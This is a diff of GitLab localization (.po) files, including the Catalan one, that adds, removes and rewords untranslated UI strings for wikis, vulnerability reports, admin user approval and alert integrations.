@@ -29491,15 +30142,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29569,7 +30220,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29650,6 +30301,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29707,6 +30361,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29800,9 +30457,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29908,6 +30562,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29956,10 +30616,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29974,6 +30631,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29998,6 +30658,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -30127,6 +30790,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -30142,6 +30808,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30223,12 +30892,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30286,7 +30961,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
-msgid "Wiki was successfully updated."
+msgid "Wiki page was successfully created."
+msgstr ""
+
+msgid "Wiki page was successfully deleted."
+msgstr ""
+
+msgid "Wiki page was successfully updated."
msgstr ""
msgid "WikiClone|Clone your wiki"
@@ -30442,6 +31123,9 @@ msgstr ""
msgid "Wiki|Pages"
msgstr ""
+msgid "Wiki|The sidebar failed to load. You can reload the page to try again."
+msgstr ""
+
msgid "Wiki|Title"
msgstr ""
@@ -30523,9 +31207,6 @@ msgstr ""
msgid "Yes, delete project"
msgstr ""
-msgid "Yes, let me map Google Code users to full names or GitLab users."
-msgstr ""
-
msgid "Yesterday"
msgstr "JuÄer"
@@ -30535,6 +31216,9 @@ msgstr ""
msgid "You already have pending todo for this alert"
msgstr ""
+msgid "You are about to add %{usersTag} people to the discussion. They will all receive a notification."
+msgstr ""
+
msgid "You are about to delete %{domain} from your instance. This domain will no longer be available to any Knative application."
msgstr ""
@@ -30580,6 +31264,9 @@ msgstr ""
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
+msgid "You are not allowed to reject a user"
+msgstr ""
+
msgid "You are not allowed to unlink your primary login account"
msgstr ""
@@ -30739,6 +31426,9 @@ msgstr ""
msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
msgstr ""
+msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
+msgstr ""
+
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
@@ -30781,6 +31471,9 @@ msgstr ""
msgid "You do not have permission to run the Web Terminal. Please contact a project administrator."
msgstr ""
+msgid "You do not have permission to update the environment."
+msgstr ""
+
msgid "You do not have permissions to run the import."
msgstr ""
@@ -30859,6 +31552,12 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an on-call schedule for this project"
+msgstr ""
+
+msgid "You have insufficient permissions to remove an on-call schedule from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
@@ -30943,9 +31642,6 @@ msgstr ""
msgid "You need to upload a GitLab project export archive (ending in .gz)."
msgstr ""
-msgid "You need to upload a Google Takeout archive."
-msgstr ""
-
msgid "You successfully declined the invitation"
msgstr ""
@@ -30988,13 +31684,10 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push project code via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
-msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
msgstr ""
-msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
msgid "You'll be signed out from your current account automatically."
@@ -31024,9 +31717,6 @@ msgstr ""
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
msgstr ""
-msgid "You're only seeing %{startTag}other activity%{endTag} in the feed. To add a comment, switch to one of the following options."
-msgstr ""
-
msgid "You're receiving this email because of your account on %{host}."
msgstr ""
@@ -31045,6 +31735,9 @@ msgstr ""
msgid "You've already enabled two-factor authentication using one time password authenticators. In order to register a different device, you must first disable two-factor authentication."
msgstr ""
+msgid "You've rejected %{user}"
+msgstr ""
+
msgid "YouTube"
msgstr ""
@@ -31069,6 +31762,9 @@ msgstr ""
msgid "Your CSV export of %{written_count} from project %{project_name} (%{project_url}) has been added to this email as an attachment."
msgstr ""
+msgid "Your CSV import for project"
+msgstr ""
+
msgid "Your Commit Email will be used for web based operations, such as edits and merges."
msgstr ""
@@ -31081,6 +31777,9 @@ msgstr ""
msgid "Your GPG keys (%{count})"
msgstr ""
+msgid "Your GitLab account request has been approved!"
+msgstr ""
+
msgid "Your GitLab group"
msgstr ""
@@ -31222,6 +31921,9 @@ msgstr ""
msgid "Your issues will be imported in the background. Once finished, you'll get a confirmation email."
msgstr ""
+msgid "Your license does not support on-call schedules"
+msgstr ""
+
msgid "Your license is valid from"
msgstr ""
@@ -31270,6 +31972,12 @@ msgstr ""
msgid "Your request for access has been queued for review."
msgstr ""
+msgid "Your request to join %{host} has been rejected."
+msgstr ""
+
+msgid "Your requirements are being imported. Once finished, you'll receive a confirmation email."
+msgstr ""
+
msgid "Your response has been recorded."
msgstr ""
@@ -31279,6 +31987,9 @@ msgstr ""
msgid "Your search didn't match any commits. Try a different query."
msgstr ""
+msgid "Your sign-in page is %{url}."
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -31288,6 +31999,9 @@ msgstr ""
msgid "Your subscription will expire in %{remaining_days}."
msgstr ""
+msgid "Your username is %{username}."
+msgstr ""
+
msgid "Zoom meeting added"
msgstr ""
@@ -31459,13 +32173,10 @@ msgstr ""
msgid "ciReport|%{sameNum} same"
msgstr ""
-msgid "ciReport|(errors when loading results)"
-msgstr ""
-
-msgid "ciReport|(is loading)"
+msgid "ciReport|: Loading resulted in an error"
msgstr ""
-msgid "ciReport|(is loading, errors when loading results)"
+msgid "ciReport|API Fuzzing"
msgstr ""
msgid "ciReport|All projects"
@@ -31633,6 +32344,12 @@ msgstr[2] ""
msgid "ciReport|View full report"
msgstr ""
+msgid "ciReport|is loading"
+msgstr ""
+
+msgid "ciReport|is loading, errors when loading results"
+msgstr ""
+
msgid "closed issue"
msgstr ""
@@ -31651,9 +32368,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "connecting"
-msgstr ""
-
msgid "container_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -31669,9 +32383,6 @@ msgstr "kreirano"
msgid "created %{timeAgo}"
msgstr ""
-msgid "customize"
-msgstr ""
-
msgid "data"
msgstr ""
@@ -31711,9 +32422,6 @@ msgstr ""
msgid "does not have a supported extension. Only %{extension_list} are supported"
msgstr ""
-msgid "done"
-msgstr ""
-
msgid "download it"
msgstr ""
@@ -31804,6 +32512,9 @@ msgstr ""
msgid "for this project"
msgstr ""
+msgid "fork"
+msgstr ""
+
msgid "fork this project"
msgstr ""
@@ -31831,6 +32542,9 @@ msgstr ""
msgid "has already been taken"
msgstr ""
+msgid "has been completed."
+msgstr ""
+
msgid "help"
msgstr ""
@@ -31852,7 +32566,7 @@ msgstr ""
msgid "import flow"
msgstr ""
-msgid "importing"
+msgid "in"
msgstr ""
msgid "in group %{link_to_group}"
@@ -32383,6 +33097,9 @@ msgstr ""
msgid "no one can merge"
msgstr ""
+msgid "no scopes selected"
+msgstr ""
+
msgid "none"
msgstr ""
@@ -32410,6 +33127,9 @@ msgstr ""
msgid "open issue"
msgstr ""
+msgid "opened %{timeAgoString} by %{email} via %{user}"
+msgstr ""
+
msgid "opened %{timeAgoString} by %{user}"
msgstr ""
@@ -32422,6 +33142,9 @@ msgstr ""
msgid "or"
msgstr ""
+msgid "originating vulnerability"
+msgstr ""
+
msgid "out of %d total test"
msgid_plural "out of %d total tests"
msgstr[0] ""
@@ -32503,6 +33226,9 @@ msgstr ""
msgid "project members"
msgstr ""
+msgid "project name"
+msgstr ""
+
msgid "projects"
msgstr ""
@@ -32557,6 +33283,9 @@ msgstr ""
msgid "security Reports|There was an error creating the merge request"
msgstr ""
+msgid "severity|Blocker"
+msgstr ""
+
msgid "severity|Critical"
msgstr ""
@@ -32569,9 +33298,15 @@ msgstr ""
msgid "severity|Low"
msgstr ""
+msgid "severity|Major"
+msgstr ""
+
msgid "severity|Medium"
msgstr ""
+msgid "severity|Minor"
+msgstr ""
+
msgid "severity|None"
msgstr ""
@@ -32620,9 +33355,6 @@ msgstr ""
msgid "ssh:"
msgstr ""
-msgid "started"
-msgstr ""
-
msgid "started a discussion on %{design_link}"
msgstr ""
@@ -32653,10 +33385,10 @@ msgstr ""
msgid "suggestPipeline|We’re adding a GitLab CI configuration file to add a pipeline to the project. You could create it manually, but we recommend that you start with a GitLab template that works out of the box."
msgstr ""
-msgid "syntax is correct"
+msgid "syntax is correct."
msgstr ""
-msgid "syntax is incorrect"
+msgid "syntax is incorrect."
msgstr ""
msgid "tag name"
@@ -32665,6 +33397,9 @@ msgstr ""
msgid "teammate%{number}@company.com"
msgstr ""
+msgid "the correct format."
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -32674,6 +33409,9 @@ msgstr ""
msgid "time summary"
msgstr ""
+msgid "to automatically add approvers based on file paths and file types."
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -32746,6 +33484,12 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "vulnerability"
+msgid_plural "vulnerabilities"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "vulnerability|Add a comment"
msgstr ""
diff --git a/locale/ca_ES/gitlab.po b/locale/ca_ES/gitlab.po
index 46d9c3feec8..d5de0d1a6da 100644
--- a/locale/ca_ES/gitlab.po
+++ b/locale/ca_ES/gitlab.po
@@ -14,9 +14,9 @@ msgstr ""
"X-Crowdin-Language: ca\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-11-03 22:46\n"
+"PO-Revision-Date: 2020-12-03 08:15\n"
-msgid " %{project_name}#%{issue_iid} &middot; opened %{issue_created} by %{author}"
+msgid " %{project_name}#%{issuable_iid} &middot; opened %{issuable_created} by %{author}"
msgstr ""
msgid " %{start} to %{end}"
@@ -82,6 +82,11 @@ msgid_plural "%d Approvals"
msgstr[0] ""
msgstr[1] ""
+msgid "%d Other"
+msgid_plural "%d Others"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d Package"
msgid_plural "%d Packages"
msgstr[0] ""
@@ -165,13 +170,13 @@ msgid_plural "%d days"
msgstr[0] ""
msgstr[1] ""
-msgid "%d day until tags are automatically removed"
-msgid_plural "%d days until tags are automatically removed"
+msgid "%d error"
+msgid_plural "%d errors"
msgstr[0] ""
msgstr[1] ""
-msgid "%d error"
-msgid_plural "%d errors"
+msgid "%d error found:"
+msgid_plural "%d errors found:"
msgstr[0] ""
msgstr[1] ""
@@ -351,22 +356,13 @@ msgstr ""
msgid "%{address} is an invalid IP address range"
msgstr ""
-msgid "%{author_link} wrote:"
+msgid "%{anchorOpen}Learn more%{anchorClose} about how you can customize / disable registration on your instance."
msgstr ""
-msgid "%{authorsName}'s thread"
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"@johnsmith\"%{code_close} will add \"By %{link_open}@johnsmith%{link_close}\" to all issues and comments originally created by johnsmith@example.com, and will set %{link_open}@johnsmith%{link_close} as the assignee on all issues originally assigned to johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"John Smith\"%{code_close} will add \"By John Smith\" to all issues and comments originally created by johnsmith@example.com."
-msgstr ""
-
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsm...@example.com\"%{code_close} will add \"By johnsm...@example.com\" to all issues and comments originally created by johnsmith@example.com. The email address or username is masked to ensure the user's privacy."
+msgid "%{author_link} wrote:"
msgstr ""
-msgid "%{code_open}\"johnsmith@example.com\": \"johnsmith@example.com\"%{code_close} will add \"By %{link_open}johnsmith@example.com%{link_close}\" to all issues and comments originally created by johnsmith@example.com. By default, the email address or username is masked to ensure the user's privacy. Use this option if you want to show the full email address."
+msgid "%{authorsName}'s thread"
msgstr ""
msgid "%{code_open}Masked%{code_close} variables are hidden in job logs (though they must match certain regexp requirements to do so)."
@@ -445,6 +441,9 @@ msgstr ""
msgid "%{count} total weight"
msgstr ""
+msgid "%{criticalStart}%{critical} Critical%{criticalEnd} %{highStart}%{high} High%{highEnd} and %{otherStart}%{otherMessage}%{otherEnd}"
+msgstr ""
+
msgid "%{dashboard_path} could not be found."
msgstr ""
@@ -517,21 +516,27 @@ msgstr ""
msgid "%{host} sign-in from new location"
msgstr ""
-msgid "%{icon}You are about to add %{usersTag} people to the discussion. They will all receive a notification."
-msgstr ""
-
msgid "%{integrations_link_start}Integrations%{link_end} enable you to make third-party applications part of your GitLab workflow. If the available integrations don't meet your needs, consider using a %{webhooks_link_start}webhook%{link_end}."
msgstr ""
msgid "%{issuableType} will be removed! Are you sure?"
msgstr ""
+msgid "%{issueType} actions"
+msgstr ""
+
msgid "%{issuesCount} issues with a limit of %{maxIssueCount}"
msgstr ""
msgid "%{issuesSize} with a limit of %{maxIssueCount}"
msgstr ""
+msgid "%{labelStart}Actual response:%{labelEnd} %{headers}"
+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
